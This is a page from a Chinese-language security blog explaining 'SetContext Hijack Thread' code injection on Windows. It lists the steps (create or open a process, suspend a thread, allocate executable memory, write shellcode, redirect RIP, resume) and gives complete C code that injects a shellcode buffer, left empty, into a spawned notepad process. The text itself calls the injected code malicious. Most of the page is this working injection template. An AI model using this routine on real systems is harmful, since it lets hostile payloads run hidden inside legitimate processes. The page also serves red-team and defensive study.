idiotc4t's blog
搜索文档…
GitBook 提供支持
SetContext Hijack Thread

简介

通常对于代码注入我们有很多种方式,现在这种方式原理与大部分注入方式技术原理相差不大,通常都是想尽办法让进程去执行我们自定义的代码,比如我们最经典的创建一个远程线程,入口点指定我们写入的代码,或者在程序执行流程上插桩,让正常进程去帮我们执行代码,这次介绍的方式比较暴力,直接劫持cpu的rip或eip指针,使其直接指向我们的恶意代码。

注入流程

    1.
    打开或创建一个进程。
    2.
    挂起其中一个线程。
    3.
    分配并写入shellcode。
    4.
    更改rip指针指向shellcode。
    5.
    恢复挂起线程。

实现代码

1
#include<Windows.h>
2
#include<stdio.h>
3
4
char shellcode[] = "";
5
;
6
int main(){
7
STARTUPINFOA si = { 0 };
8
si.cb = sizeof(si);
9
10
PROCESS_INFORMATION pi = {0};
11
12
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
13
SuspendThread(pi.hThread);
14
LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
15
WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
16
CONTEXT ctx = { 0 };
17
ctx.ContextFlags = CONTEXT_ALL;
18
GetThreadContext(pi.hThread, &ctx);
19
ctx.Rip = (DWORD64)lpBuffer;
20
SetThreadContext(pi.hThread, &ctx);
21
ResumeThread(pi.hThread);
22
return 0;
23
}
Copied!

LINKS

SetThreadContext function (processthreadsapi.h) - Win32 apps
docsmsft
最近更新 1yr ago